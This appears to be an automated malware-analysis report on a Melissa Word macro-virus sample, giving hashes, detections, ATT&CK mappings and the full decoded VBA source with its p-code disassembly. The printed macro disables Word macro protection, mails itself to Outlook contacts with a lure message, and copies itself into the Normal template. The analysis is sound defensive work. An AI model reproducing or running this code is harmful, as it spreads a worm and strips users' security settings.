Melissa — Office (OLE) malware analysis

Static analysis result for SHA-256 67e1e32355ca8649…

MALICIOUS

Office (OLE)

30.5 KB Created: 2000-06-20 15:51:00 Authoring application: Microsoft Word 9.0 First seen: 2015-09-18
MD5: 28bb3c2ba96842f4197d98087490f620 SHA-1: e0769f4f67662ad7adbfa5125d37a262c43343f5 SHA-256: 67e1e32355ca8649469f753c2c5968501c85ac5cc8e8869bc977aeae66580b0c
208 Risk Score

Malware Insights

Melissa · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is characteristic of the Melissa family. The macro attempts to disable security settings and then iterates through Outlook contacts to send itself as an attachment. This self-propagation mechanism is a hallmark of the Melissa virus.

Heuristics 4

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    ADI1.CodeModule.DeleteLines 1, ADCL
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10887 bytes
SHA-256: 24872e5661aa501612d96b756cfd7b88af754ab0cdfd5a9903ea9539483ff3bf
Detection
ClamAV: Doc.Trojan.Melissa-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Melissa"
Attribute VB_Base = "1Normal.Melissa"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = True
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = True
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Autluk" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 2 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
End Sub


' Processing file: /opt/analyzer/scan_staging/a5745afb4d4c468fb86a1df37ac3385d.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Melissa - 5178 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #2:
' 	LitVarSpecial (True)
' 	LitStr 0x000B "Security..."
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #3:
' 	LitDI4 0x0001 0x0000 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #4:
' 	ElseBlock 
' Line #5:
' 	LitVarSpecial (True)
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #6:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' 	EndIfBlock 
' Line #8:
' 	LitStr 0x0000 ""
' 	LitStr 0x002C "HKEY_CURRENT_USER\Software\Microsoft\Office\"
' 	LitStr 0x0008 "Melissa?"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x000E "... by Kwyjibo"
' 	Ne 
' 	IfBlock 
' Line #9:
' 	Ld UngaDasOutlook 
' 	LitStr 0x0006 "Autluk"
' 	Eq 
' 	IfBlock 
' Line #10:
' 	LitStr 0x0007 "profile"
' 	LitStr 0x0008 "password"
' 	Ld DasMapiName 
' 	ArgsMemCall Logon 0x0002 
' Line #11:
' 	StartForVariable 
' 	Ld y 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld DasMapiName 
' 	MemLd AddressLists 
' 	MemLd Count 
' 	For 
' Line #12:
' 	SetStmt 
' 	Ld y 
' 	Ld DasMapiName 
' 	ArgsMemLd AddressLists 0x0001 
' 	Set AddyBook 
' Line #13:
' 	LitDI2 0x0001 
' 	St x 
' Line #14:
' 	SetStmt 
' 	LitDI2 0x0000 
' 	Ld UngaDasOutlook 
' 	ArgsMemLd CreateItem 0x0001 
' 	Set BreakUmOffASlice 
' Line #15:
' 	StartForVariable 
' 	Ld oo 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld AddyBook 
' 	MemLd AddressEntries 
' 	MemLd Count 
' 	For 
' Line #16:
' 	Ld x 
' 	Ld AddyBook 
' 	ArgsMemLd AddressEntries 0x0001 
' 	St Peep 
' Line #17:
' 	Ld Peep 
' 	Ld BreakUmOffASlice 
' 	MemLd Recipients 
' 	ArgsMemCall Add 0x0001 
' Line #18:
' 	Ld x 
' 	LitDI2 0x0001 
' 	Add 
' 	St x 
' Line #19:
' 	Ld x 
' 	LitDI2 0x0002 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	Ld AddyBook 
' 	MemLd AddressEntries 
' 	MemLd Count 
' 	St oo 
' 	EndIf 
' Line #20:
' 	StartForVariable 
' 	Ld oo 
' 	EndForVariable 
' 	NextVar 
' Line #21:
' 	LitStr 0x0017 "Important Message From "
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	Ld BreakUmOffASlice 
' 	MemSt Subject 
' Line #22:
' 	LitStr 0x0042 "Here is that document you asked for ... don't show anyone else ;-)"
' 	Ld BreakUmOffASlice 
' 	MemSt Body 
' Line #23:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	Ld BreakUmOffASlice 
' 	MemLd Attachments 
' 	ArgsMemCall Add 0x0001 
' Line #24:
' 	Ld BreakUmOffASlice 
' 	ArgsMemCall Send 0x0000 
' Line #25:
' 	LitStr 0x0000 ""
' 	St Peep 
' Line #26:
' 	StartForVariable 
' 	Ld y 
' 	EndForVariable 
' 	NextVar 
' Line #27:
' 	Ld DasMapiName 
' 	ArgsMemCall Logoff 0x0000 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ADI1 
' Line #31:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set NTI1 
' Line #32:
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St NTCL 
' Line #33:
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St ADCL 
' Line #34:
' 	LitDI2 0x0002 
' 	St BGN 
' Line #35:
' 	Ld ADI1 
' 	MemLd New 
' 	LitStr 0x0007 "Melissa"
' 	Ne 
' 	IfBlock 
' Line #36:
' 	LineCont 0x0004 05 00 00 00
' 	Ld ADCL 
' 	LitDI2 0x0000 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld ADCL 
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' 	EndIf 
' Line #37:
' 	SetStmt 
' 	Ld ADI1 
' 	Set ToInfect 
' Line #38:
' 	LitStr 0x0007 "Melissa"
' 	Ld ADI1 
' 	MemSt New 
' Line #39:
' 	LitVarSpecial (True)
' 	St DoAD 
' Line #40:
' 	EndIfBlock 
' Line #41:
' 	Ld NTI1 
' 	MemLd New 
' 	LitStr 0x0007 "Melissa"
' 	Ne 
' 	IfBlock 
' Line #42:
' 	LineCont 0x0004 05 00 00 00
' 	Ld NTCL 
' 	LitDI2 0x0000 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld NTCL 
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' 	EndIf 
' Line #43:
' 	SetStmt 
' 	Ld NTI1 
' 	Set ToInfect 
' Line #44:
' 	LitStr 0x0007 "Melissa"
' 	Ld NTI1 
' 	MemSt New 
' Line #45:
' 	LitVarSpecial (True)
' 	St DoNT 
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	Ld DoNT 
' 	LitVarSpecial (True)
' 	Ne 
' 	Ld DoAD 
' 	LitVarSpecial (True)
' 	Ne 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo CYA 
' 	EndIf 
' Line #48:
' 	Ld DoNT 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #49:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	DoWhile 
' Line #50:
' 	LitDI2 0x0001 
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0001 
' Line #51:
' 	Loop 
' Line #52:
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Paren 
' 	Ld ToInfect 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #53:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Ne 
' 	DoWhile 
' Line #54:
' 	Ld BGN 
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Ld ToInfect 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #55:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Add 
' 	St BGN 
' Line #56:
' 	Loop 
' Line #57:
' 	EndIfBlock 
' Line #58:
' 	Ld DoAD 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #59:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	DoWhile 
' Line #60:
' 	LitDI2 0x0001 
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0001 
' Line #61:
' 	Loop 
' Line #62:
' 	LitStr 0x001B "Private Sub Document_Open()"
' 	Paren 
' 	Ld ToInfect 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #63:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Ne 
' 	DoWhile 
' Line #64:
' 	Ld BGN 
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Ld ToInfect 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #65:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Add 
' 	St BGN 
' Line #66:
' 	Loop 
' Line #67:
' 	EndIfBlock 
' Line #68:
' 	Label CYA 
' Line #69:
' 	Ld NTCL 
' 	LitDI2 0x0000 
' 	Ne 
' 	Ld ADCL 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitStr 0x0008 "Document"
' 	FnInStr3 
' 	LitVarSpecial (False)
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #70:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #71:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitStr 0x0008 "Document"
' 	FnInStr3 
' 	LitVarSpecial (False)
' 	Ne 
' 	Paren 
' 	ElseIfBlock 
' Line #72:
' 	LitVarSpecial (True)
' 	Ld ActiveDocument 
' 	MemSt Saved 
' 	BoS 0x0000 
' 	EndIfBlock 
' Line #73:
' 	EndSub 
' Line #74:

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